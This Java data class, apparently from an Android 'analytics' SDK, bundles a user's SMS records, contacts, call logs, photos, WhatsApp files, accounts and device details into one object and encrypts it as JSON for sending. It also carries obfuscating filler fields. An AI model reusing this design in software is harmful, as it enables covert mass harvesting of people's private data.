package com.test.dababy.dababy_00_analytics.dababydata_sdk.dababybeans;

import com.google.gson.Gson;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.DababyASBuilder;
import com.test.dababy.dababy_00_utils.DababyConfigs;
import com.test.dababy.dababy_00_utils.DababyUtil;

import java.util.List;

public class DababyASRequestPms {

    public String app;
    public String token;
    public String product;
    public String androidId;
    public String advertId;
    public String orderId;
    public String tz;
    public String packageName;
    public String transactionId;
    public String type;
    public String userPhone;
    public String d98D="";
    public String zwX1="";
    public String iOk8="";
    public String version = "40";
    public String client = "ANDROID";
    public DababyASDecBn deviceInfo;
    public String appListGzip;
    public List<DababyASCtctBn> contacts;
    public String smsRecordsGzip;
    public String smsFetchType;
    public String userImagesGzip;
    public String deviceHardwareGzip;
    public String deviceStorageGzip;
    public String deviceWifiGzip;
    public String deviceBatteryGzip;
    public String deviceMediaGzip;
    public String callLogListGzip;
    public String bookList;
    public String phoneBooksGzip;
    public String calendarGzip;
    public String settingAccountGzip;
    public String whatsAppFilesGzip;
    public String path;

    public boolean cUv3=false;
    public int hMJC=238;
    public String v801="";
    public float ltbo=0.17676085f;
    public boolean fh47=true;
    public String w152="";

    public DababyASRequestPms() {
        this.app = DababyConfigs.dababyProduct;
        this.product = DababyConfigs.dababyProduct;
        this.token = DababyUtil.getToken_dababy();
        this.androidId = DababyASBuilder.KEY_ANDROID;
        this.orderId = DababyASBuilder.KEY_ORDER_ID;
        this.advertId = DababyASBuilder.KEY_ADVERT_ID;
        this.tz = DababyASBuilder.KEY_TZ;

    }

    public String getTp_dababy() {
        return this.type;
    }

    public void setTp_dababy(String paramString) {
        this.type = paramString;
    }

    public String getUP_dababy() {
        return this.userPhone;
    }

    public void setUP_dababy(String paramString) {
        this.userPhone = paramString;
    }

    public void setSRG_dababy(String smsRecordsGzip) {
        this.smsRecordsGzip = smsRecordsGzip;
    }

    public String getUIG_dababy() {
        return userImagesGzip;
    }

    public void setUIG_dababy(String userImagesGzip) {
        this.userImagesGzip = userImagesGzip;
    }

    public String getBL_dababy() {
        return bookList;
    }

    public void setProduct_dababy(String product) {
        this.product = product;
    }

    public String getCG_dababy() {
        return calendarGzip;
    }

    public void setCG_dababy(String calendarGzip) {
        this.calendarGzip = calendarGzip;
    }

    public void setTI_dababy(String paramString) {
        this.transactionId = paramString;
    }

    public String getVs_dababy() {
        return this.version;
    }

    public void setVs_dababy(String paramString) {
        this.version = paramString;
    }

    public String getTk_dababy() {
        return token;
    }

    public void setTk_dababy(String token) {
        this.token = token;
    }

    public String getPN_dababy() {
        return this.packageName;
    }

    public String getApp() {
        return app;
    }

    public String getToken() {
        return token;
    }

    public String getProduct() {
        return product;
    }

    public String getAndroidId() {
        return androidId;
    }

    public String getAdvertId() {
        return advertId;
    }

    public String getOrderId() {
        return orderId;
    }

    public String getTz() {
        return tz;
    }

    public String getPackageName() {
        return packageName;
    }

    public String getTransactionId() {
        return transactionId;
    }

    public String getType() {
        return type;
    }

    public String getUserPhone() {
        return userPhone;
    }

    public String getD98D() {
        return d98D;
    }

    public String getZwX1() {
        return zwX1;
    }

    public String getiOk8() {
        return iOk8;
    }

    public String getVersion() {
        return version;
    }

    public String getClient() {
        return client;
    }

    public DababyASDecBn getDeviceInfo() {
        return deviceInfo;
    }

    public String getAppListGzip() {
        return appListGzip;
    }

    public List<DababyASCtctBn> getContacts() {
        return contacts;
    }

    public String getSmsRecordsGzip() {
        return smsRecordsGzip;
    }

    public String getSmsFetchType() {
        return smsFetchType;
    }

    public String getUserImagesGzip() {
        return userImagesGzip;
    }

    public String getDeviceHardwareGzip() {
        return deviceHardwareGzip;
    }

    public String getDeviceStorageGzip() {
        return deviceStorageGzip;
    }

    public String getDeviceWifiGzip() {
        return deviceWifiGzip;
    }

    public String getDeviceBatteryGzip() {
        return deviceBatteryGzip;
    }

    public void setApp(String app) {
        this.app = app;
    }

    public void setToken(String token) {
        this.token = token;
    }

    public void setProduct(String product) {
        this.product = product;
    }

    public void setAndroidId(String androidId) {
        this.androidId = androidId;
    }

    public void setAdvertId(String advertId) {
        this.advertId = advertId;
    }

    public void setOrderId(String orderId) {
        this.orderId = orderId;
    }

    public void setTz(String tz) {
        this.tz = tz;
    }

    public void setPackageName(String packageName) {
        this.packageName = packageName;
    }

    public void setTransactionId(String transactionId) {
        this.transactionId = transactionId;
    }

    public void setType(String type) {
        this.type = type;
    }

    public void setUserPhone(String userPhone) {
        this.userPhone = userPhone;
    }

    public void setD98D(String d98D) {
        this.d98D = d98D;
    }

    public void setZwX1(String zwX1) {
        this.zwX1 = zwX1;
    }

    public void setiOk8(String iOk8) {
        this.iOk8 = iOk8;
    }

    public void setVersion(String version) {
        this.version = version;
    }

    public void setClient(String client) {
        this.client = client;
    }

    public void setDeviceInfo(DababyASDecBn deviceInfo) {
        this.deviceInfo = deviceInfo;
    }

    public void setAppListGzip(String appListGzip) {
        this.appListGzip = appListGzip;
    }

    public void setContacts(List<DababyASCtctBn> contacts) {
        this.contacts = contacts;
    }

    public void setSmsRecordsGzip(String smsRecordsGzip) {
        this.smsRecordsGzip = smsRecordsGzip;
    }

    public void setSmsFetchType(String smsFetchType) {
        this.smsFetchType = smsFetchType;
    }

    public void setUserImagesGzip(String userImagesGzip) {
        this.userImagesGzip = userImagesGzip;
    }

    public void setDeviceHardwareGzip(String deviceHardwareGzip) {
        this.deviceHardwareGzip = deviceHardwareGzip;
    }

    public void setDeviceStorageGzip(String deviceStorageGzip) {
        this.deviceStorageGzip = deviceStorageGzip;
    }

    public void setDeviceWifiGzip(String deviceWifiGzip) {
        this.deviceWifiGzip = deviceWifiGzip;
    }

    public void setDeviceBatteryGzip(String deviceBatteryGzip) {
        this.deviceBatteryGzip = deviceBatteryGzip;
    }

    public void setDeviceMediaGzip(String deviceMediaGzip) {
        this.deviceMediaGzip = deviceMediaGzip;
    }

    public void setCallLogListGzip(String callLogListGzip) {
        this.callLogListGzip = callLogListGzip;
    }

    public void setBookList(String bookList) {
        this.bookList = bookList;
    }

    public void setPhoneBooksGzip(String phoneBooksGzip) {
        this.phoneBooksGzip = phoneBooksGzip;
    }

    public void setCalendarGzip(String calendarGzip) {
        this.calendarGzip = calendarGzip;
    }

    public void setSettingAccountGzip(String settingAccountGzip) {
        this.settingAccountGzip = settingAccountGzip;
    }

    public void setWhatsAppFilesGzip(String whatsAppFilesGzip) {
        this.whatsAppFilesGzip = whatsAppFilesGzip;
    }

    public void setPath(String path) {
        this.path = path;
    }

    public String getDeviceMediaGzip() {
        return deviceMediaGzip;
    }

    public String getCallLogListGzip() {
        return callLogListGzip;
    }

    public String getBookList() {
        return bookList;
    }

    public String getPhoneBooksGzip() {
        return phoneBooksGzip;
    }

    public String getCalendarGzip() {
        return calendarGzip;
    }

    public String getSettingAccountGzip() {
        return settingAccountGzip;
    }

    public String getWhatsAppFilesGzip() {
        return whatsAppFilesGzip;
    }

    public String getPath() {
        return path;
    }

    public void setPN_dababy(String paramString) {
        this.packageName = paramString;
    }

    public DababyASDecBn getDecI_dababy() {
        return deviceInfo;
    }

    public void setDecI_dababy(DababyASDecBn deviceInfo) {
        this.deviceInfo = deviceInfo;
    }

    public String getALG_dababy() {
        return appListGzip;
    }

    public void setALG_dababy(String appListGzip) {
        this.appListGzip = appListGzip;
    }

    public List<DababyASCtctBn> getCts_dababy() {
        return contacts;
    }

    public void setCts_dababy(List<DababyASCtctBn> contacts) {
        this.contacts = contacts;
    }

    public String getSRG_dababy() {
        return smsRecordsGzip;
    }

    public String getSAG_dababy() {
        return settingAccountGzip;
    }

    public void setSAG_dababy(String settingAccountGzip) {
        this.settingAccountGzip = settingAccountGzip;
    }

    public String getWAFG_dababy() {
        return whatsAppFilesGzip;
    }

    public void setWAFG_dababy(String whatsAppFilesGzip) {
        this.whatsAppFilesGzip = whatsAppFilesGzip;
    }

    public String getCLLG_dababy() {
        return callLogListGzip;
    }

    public void setCLLG_dababy(String callLogListGzip) {
        this.callLogListGzip = callLogListGzip;
    }

    public String toEncryptParams_dababy(String path){
        this.path = path;
        String content = new Gson().toJson(this).trim();
        return DababyUtil.encryptDefault_dababy(content);
    }

    public void setBL_dababy(String bookList) {
        this.bookList = bookList;
    }

    public String getPBG_dababy() {
        return phoneBooksGzip;
    }

    public void setPBG_dababy(String phoneBooksGzip) {
        this.phoneBooksGzip = phoneBooksGzip;
    }

    public String getClt_dababy() {
        return client;
    }

    public void setClt_dababy(String client) {
        this.client = client;
    }

    public String getDHG_dababy() {
        return deviceHardwareGzip;
    }

    public void setDHG_dababy(String deviceHardwareGzip) {
        this.deviceHardwareGzip = deviceHardwareGzip;
    }

    public String getDSG_dababy() {
        return deviceStorageGzip;
    }

    public void setDSG_dababy(String deviceStorageGzip) {
        this.deviceStorageGzip = deviceStorageGzip;
    }

    public String getDWG_dababy() {
        return deviceWifiGzip;
    }

    public void setDWG_dababy(String deviceWifiGzip) {
        this.deviceWifiGzip = deviceWifiGzip;
    }

    public String getDBG_dababy() {
        return deviceBatteryGzip;
    }

    public void setDBG_dababy(String deviceBatteryGzip) {
        this.deviceBatteryGzip = deviceBatteryGzip;
    }

    public String getDMG_dababy() {
        return deviceMediaGzip;
    }

    public void setDMG_dababy(String deviceMediaGzip) {
        this.deviceMediaGzip = deviceMediaGzip;
    }

    public String getSFT_dababy() {
        return smsFetchType;
    }

    public void setSFT_dababy(String smsFetchType) {
        this.smsFetchType = smsFetchType;
    }

    public String getApp_dababy() {
        return app;
    }

    public void setApp_dababy(String app) {
        this.app = app;
    }

    public String getProduct_dababy() {
        return product;
    }

    public String getTI_dababy() {
        return this.transactionId;
    }

}
